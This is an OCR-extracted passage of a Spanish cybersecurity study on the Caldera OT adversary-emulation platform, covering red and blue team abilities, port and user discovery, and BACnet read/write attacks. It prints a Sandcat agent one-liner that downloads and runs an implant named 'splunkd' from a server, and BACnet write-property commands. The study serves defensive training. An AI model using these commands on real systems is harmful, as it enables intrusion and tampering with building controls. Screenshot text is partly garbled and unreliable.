llustracion 20: Creacion de la habilidad

payloads No payloads selected

01b633_Calculator.docx

035557 _regtemplate.ini

04f33d_remove_login_item.osa

053c10_AllTheThings.iso

0655d1_WindowsServiceExample.exe

07821d_NtQueueApcThreadEx.exe

command

requirements

timeout

cleanup

parsers

netstat -tuinap | grep LISTEN

sincibe_

+ Add requirements

+ Add Cleanup Command

llustracion 21: Creacién de la habilidad

+ Add parsers

El Ultimo paso es la creacion de operaciones. Es aqui donde se introduciran los diferentes
ataques dependiendo de las necesidades del atacante. En este caso, donde se desea
obtener informacién del activo creado, se ha realizado la habilidad “Escaneo de los puertos
del activo”, que fue creada anteriormente, junto con otro tipo de habilidades de la misma
tactica. A continuacion, se podran observar los pasos realizados y la informacion obtenida.

USO DE LA HERRAMIENTA CALDERA OT
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El primer paso es crear la operaciéon. Para ello, se tienen que completar los siguientes
campos, dependiendo de las necesidades del ataque:

Start New Operation

Operation name
Adversary  No adversary (manual)

basic

ADVANCED

all groups
atomic

base64 base64jumble base64noPadding
caesar cipher plain-text steganography
Run autonomously @ Require manual approval
Parser Use default parsers @ Do not use default parsers
Auto-close Keep open forever @ Auto close operation

Run immediately @ Pause on start

min max

8 H

llustracion 22: Creacién de operacion

Después de crear la operacion, se introduciran las habilidades que se van a utilizar. Se
puede hacer de forma manual o tras la utilizacion de las habilidades existentes.

TLP:CLEAR
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Add New Potential Link

Agent

Execuicr

Tachic Al lacges

Techrigus All lechinigues

Select a potential link 434 potential links

1-min sleep (T1497.003)

>

AWS - Disable CloudTrail Logging Through Event Selectors using Stratus (T1562.008)

Lipdai BCiors ud Tradl o disahle the lopoing of ceral

llustracion 23: Introduccidon de las habilidades en la operacién

En este caso, se han introducido las siguientes habilidades:

los puertos
2g9qys

Discover Mail Server 299qys
Find local users 299qys

System Service
2g99ys

llustracion 24: Habilidades utilizadas

La primera habilidad es la del escaneo de puertos, que fue creada anteriormente. Con este
método se consiguio la siguiente informacion:

TLP:CLEAR
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Output

Exit Code: Nothing to show

Standard Output:

LISTEN 2253/python3
LISTEN 2253/python3
LISTEN 2253/pyt
5 LISTEN 2253/python3
.0.0.0:8888 B.D.9.0: ¥ LISTEN 2253/python3

llustracion 25: Puertos abiertos

Otra de las habilidades incluidas es la de encontrar usuarios locales, que en este ejemplo
ha devuelto la siguiente informacion:

Output

Value
.user.name root
.user.name daemon
.user.name bin
.uUser.name 5Yys
.user.name sync
.user.name games
.user.name man
.user.name p
.user.name mail
.user.name news
.user.name uucp
.user.name proxy

user.name www-data

llustracion 26: Usuarios locales.

Tras este primer ejemplo, mostramos otra simulacion, utilizando ataques y técnicas
relacionadas con el mundo industrial, como es el estandar BACnet, protocolo desarrollado
para el uso de automatizacion de los edificios y de sus sistemas, como son la climatizacion,
seguridad o iluminacién.

El primer paso es crear un agente. Para ello, el agente creado debe tener cualidades que
pueda soportar dicho protocolo, como un servidor de testeo de este protocolo.

Luego hay varias posibilidades de introducir las tacticas y técnicas en la operacion. La
primera forma consiste en realizar un adversary’. Para ello, introduciremos los ataques que
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se van a realizar de una forma y en un orden determinado. En este caso, los ataques
elegidos son los siguientes:

Bacnet Adversary ID: c871753f-31d3-4db2-a916-25{342e6822¢

Bacnet prueba

+ AddAbilty  + AddAdversary @ Fact Breakdown Objective: default  change

Ordering Name Tactic Technique Executors Requires Unlocks Payload Cleanup
BACnet Who-Is discovery Remote System Discovery A a
BACnet Atomic Read File collection Monitor Process State omm [ )
BACnet Atomic Write File impact Manipulation of Conirol dme [}
[}

BACnet Write Property impact Manipulation of Control A

llustracion 27: Adversario BACnet

Después se creara una operacion y, dentro de esta, se selecciona la habilidad creada.
Cuando ya se tiene cargado solo queda esperar a los resultados obtenidos.

Start New Operation

Operation name  Prueba Bacnet
Bacnet

BACnet Sample Facts ~ w

ADVANCED

Close

llustracion 28: Operacion BACnet

Otra posibilidad consiste en realizar dichos ataques de una forma manual, para lo que se
creara una operacion y seguidamente se pondran los ataques que se quieren realizar de
una forma manual o mediante los comandos que tiene la plataforma Caldera.
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Select an operation ¢

nt state:

BACnet Who-Is

BACnet Atomi
File

BACnet Write Property

llustracion 29: Operacion de ataque

En este caso, en la operacién se han realizado cuatro técnicas, la primera esta relacionada
con la identificacion del activo. Para ello, se ha utilizado el siguiente comando:

./bacwi

Las siguientes técnicas estan relacionadas con la lectura y escritura de los archivos:

Jbacarf #{bacnet.device.instance} #{bacnet.file.instance} #{bacnet.read.local_name}

Jbacawf #{bacnet.device.instance} #{bacnet.file.instance} #{bacnet.read.local_name}
#{bacnet.write.octet_offset}

La ultima técnica utilizada es para escribir una propiedad que se utilice en los dispositivos
BACnet. En este caso, el comando utilizado es el siguiente:

.Jbacawf #{bacnet.device.instance} #{bacnet.obj.type} #{bacnet.obj.property}
#{bacnet.write.priority} #{bacnet.write.tag} #{bacnet.write.value}
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8. Aplicabilidad Blue Team

Para realizar una simulacion en la parte de Blue Team sera necesario hacer login con el
usuario y contrasefia que esté configurado para dicho grupo. Una vez se haya accedido,
se podra observar que la estructura es practicamente igual a la del grupo del Red Team.
La gran diferencia en este caso es el tipo de habilidades que encontramos, pensadas,
l6gicamente, para utilizarlos en un Blue Team. Ademas, todas estas habilidades estan
relacionadas con las tacticas y técnicas de MITRE ATT&CK.

Filters 1-min sleep (T1497.003) Account Discovery (all) (T1087.002)

Search & The n numerate domain user accounts.

discovery
Tactic
Account Discovery (targeted) (T10t ) Account-type Admin Enumerator (T1069.002)
Al

Technique

execution

Plugin Acquire suspicious Add bookmark (T1059.002)

Add a malic
Platform
& darwin
. Window Discovery (T1010)
& windows

197 / 197 abilities

llustracion 30: Habilidades del Blue Team

Veamos un breve ejemplo de las funciones de este servicio, permitidas por Caldera:

® Desde la parte de Red Team se creara un agente. En este caso, se ha optado por
el siguiente:
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NextGenerationEU

Deploy an agent

Agent

Sandcat | CALDERA's default agent. written in GoLang. Communicates through the HTTP(S) contact by default. w

Platform

O'&':: <

all Tinux windows darwin

app.contacthttp /0.
agents.implant_name  splunkd

agent.extensions

O  sh  CALDERA's default agent, written in GoLang. Communicates through the HTTP(S) contact by default.

Copy

server="http://8.0.0.0:88

curl -s -X POST -H "file: dcat.go” -H "platform:linux" $server/file/download = splunkd;
chmod +x splunkd;

./splunkd -server $server -group red -v

llustracion 31: Agente creado

Al crear este agente, con el codigo que te genera Caldera, se puede observar que no lo
detecta. Por ello, habra que cambiar el grupo de red por blue. Después de este paso,
creamos una operacion utilizando las habilidades relacionadas con las tacticas de
descubrimiento.

Find local users
Check Python

Find files

llustracion 32: Operacion

Cuando acaba de hacer la prueba, la plataforma muestra la informacion obtenida del
servidor, que podra ser utilizada para mejorar los problemas descubiertos.
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9. Conclusiones

A lo largo de este estudio, se ha podido observar la importancia que esta adquiriendo la
ciberseguridad en el mundo industrial, principalmente debida a la implantacién de la
industria 4.0, caracterizada por la interconexion en tiempo real entre los dispositivos, lo cual
aporta una gran cantidad de beneficios, pero también varios problemas, como, por ejemplo,
gue los dispositivos estén mas expuestos al mundo exterior.

Por ello, los expertos en la ciberseguridad industrial estan investigando y estudiando las
necesidades para conseguir mejorar la ciberseguridad en este sector. Uno de los proyectos
mas actuales y atractivos es la creacion y actualizacion del programa Caldera OT. Este
programa, como se ha podido observar en el estudio, es un simulador que permite realizar
diferentes tipos de ciberataques, permitiendo que tanto los equipos de Red Team como de
Blue Team realicen mejoras en la ciberseguridad real de las plantas industriales.

Por ello, este estudio pretende servir de ayuda para que el lector tenga un conocimiento
previo sobre los beneficios y las actividades que puede dar esta herramienta, pueda
utilizarla para su beneficio e incluso realizar mejoras o aportes en la herramienta y, por lo
tanto, hacer que la comunidad de la ciberseguridad industrial sea cada vez mejor.
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